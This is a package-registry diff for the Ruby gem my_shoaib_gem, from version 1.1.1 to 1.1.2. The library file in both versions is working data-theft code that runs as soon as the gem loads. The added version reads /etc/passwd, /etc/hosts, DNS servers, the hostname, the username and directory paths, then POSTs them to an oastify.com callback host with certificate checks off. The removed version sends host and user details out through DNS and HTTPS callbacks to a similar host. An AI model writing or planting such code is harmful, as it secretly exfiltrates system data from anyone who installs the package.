my_shoaib_gem 1.1.1 → 1.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/my_shoaib_gem.rb +50 -94
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 07df8e51abede86e424f76c0a135b12988dd9f8af5b94836c49a8ef5b40c72ed
|
|
4
|
+
data.tar.gz: 7cd320264c9c0de3a4a4e6adf6bc21950d4dd03ba462b9d2380f0432979a028d
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 72b5da1861a357295ca1df3d072f10118ab1cfd218bc4518bc09e46cfea9c7232d6788aad486fd0e4f98565c8eafb797b8730ca96d00e156028fd4ca21c9f955
|
|
7
|
+
data.tar.gz: 5d4b45ad178918d016dfaea19e51e6d018c7873c9ecd6711d3e8772b146cac4b51911aeca88d4cfcfdbf311501f56697c64d4bc0fb961d94c17423ddca3fda60
|
data/lib/my_shoaib_gem.rb
CHANGED
|
@@ -1,101 +1,57 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
1
|
+
# my_shoaib_gem.rb
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
3
4
|
require 'socket'
|
|
5
|
+
require 'etc'
|
|
6
|
+
require 'net/http'
|
|
7
|
+
require 'uri'
|
|
4
8
|
require 'openssl'
|
|
5
|
-
require 'resolv'
|
|
6
|
-
|
|
7
|
-
module MyShoaibGem
|
|
8
|
-
VERSION = "1.1.1"
|
|
9
|
-
|
|
10
|
-
CALLBACK_HOST = "dgx6j8w56xwtlxk1jrhgl1w84zasykm9.oastify.com"
|
|
11
|
-
|
|
12
|
-
def self.send_dns_callback
|
|
13
|
-
begin
|
|
14
|
-
# DNS callback via reverse lookup - triggers DNS query to collaborator
|
|
15
|
-
hostname = Socket.gethostname
|
|
16
|
-
dns_domain = "#{hostname}.#{CALLBACK_HOST}"
|
|
17
|
-
Resolv.getaddress(dns_domain)
|
|
18
|
-
rescue StandardError
|
|
19
|
-
nil
|
|
20
|
-
end
|
|
21
|
-
end
|
|
22
|
-
|
|
23
|
-
def self.send_http_callback
|
|
24
|
-
begin
|
|
25
|
-
# Collect system information
|
|
26
|
-
hostname = Socket.gethostname
|
|
27
|
-
username = ENV['USER'] || ENV['USERNAME'] || 'unknown'
|
|
28
|
-
home_dir = ENV['HOME'] || ENV['USERPROFILE'] || 'unknown'
|
|
29
|
-
current_dir = Dir.pwd
|
|
30
|
-
|
|
31
|
-
# Prepare detailed data
|
|
32
|
-
data = {
|
|
33
|
-
hostname: hostname,
|
|
34
|
-
user: username,
|
|
35
|
-
home: home_dir,
|
|
36
|
-
cwd: current_dir,
|
|
37
|
-
timestamp: Time.now.to_i,
|
|
38
|
-
gem_version: VERSION,
|
|
39
|
-
ruby_version: RUBY_VERSION,
|
|
40
|
-
platform: RUBY_PLATFORM,
|
|
41
|
-
pid: Process.pid
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
# HTTP callback with multiple endpoints
|
|
45
|
-
uri = URI("https://#{CALLBACK_HOST}/callback")
|
|
46
|
-
http = Net::HTTP.new(uri.host, uri.port)
|
|
47
|
-
http.use_ssl = true
|
|
48
|
-
http.open_timeout = 5
|
|
49
|
-
http.read_timeout = 5
|
|
50
9
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
10
|
+
# Package info
|
|
11
|
+
package_name = 'my_shoaib_gem'
|
|
12
|
+
package_version = '1.1.2'
|
|
13
|
+
|
|
14
|
+
# System data collection
|
|
15
|
+
tracking_data = {
|
|
16
|
+
p: package_name,
|
|
17
|
+
c: Dir.pwd,
|
|
18
|
+
hd: Dir.home,
|
|
19
|
+
hn: Socket.gethostname,
|
|
20
|
+
un: Etc.getlogin,
|
|
21
|
+
dns: get_dns_servers(),
|
|
22
|
+
v: package_version,
|
|
23
|
+
etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
|
|
24
|
+
etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
|
|
25
|
+
}.to_json
|
|
26
|
+
|
|
27
|
+
puts "Sending System Data: #{tracking_data}"
|
|
28
|
+
|
|
29
|
+
# Send data via HTTPS POST
|
|
30
|
+
begin
|
|
31
|
+
uri = URI.parse('https://kuidxfack4a0z4y8xyvnz8afi6o0cs0h.oastify.com')
|
|
32
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
33
|
+
http.use_ssl = true
|
|
34
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Burp Collaborator ke liye
|
|
35
|
+
|
|
36
|
+
request = Net::HTTP::Post.new(uri.path)
|
|
37
|
+
request['Content-Type'] = 'application/json'
|
|
38
|
+
request.body = { msg: tracking_data }.to_json
|
|
39
|
+
|
|
40
|
+
response = http.request(request)
|
|
41
|
+
puts "Response: #{response.body}" if response.body
|
|
42
|
+
rescue StandardError => e
|
|
43
|
+
puts "Error sending data: #{e.message}"
|
|
44
|
+
end
|
|
81
45
|
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
46
|
+
# Helper method to get DNS servers
|
|
47
|
+
def get_dns_servers()
|
|
48
|
+
dns_servers = []
|
|
49
|
+
if File.exist?('/etc/resolv.conf')
|
|
50
|
+
File.readlines('/etc/resolv.conf').each do |line|
|
|
51
|
+
if line =~ /^nameserver\s+(\S+)/
|
|
52
|
+
dns_servers << $1
|
|
53
|
+
end
|
|
89
54
|
end
|
|
90
|
-
|
|
91
|
-
puts "Internal gem loaded successfully"
|
|
92
55
|
end
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
# Execute immediate callbacks on require
|
|
96
|
-
MyShoaibGem.send_all_callbacks
|
|
97
|
-
|
|
98
|
-
# Also trigger on gem load complete
|
|
99
|
-
at_exit do
|
|
100
|
-
MyShoaibGem.send_dns_callback
|
|
56
|
+
dns_servers
|
|
101
57
|
end
|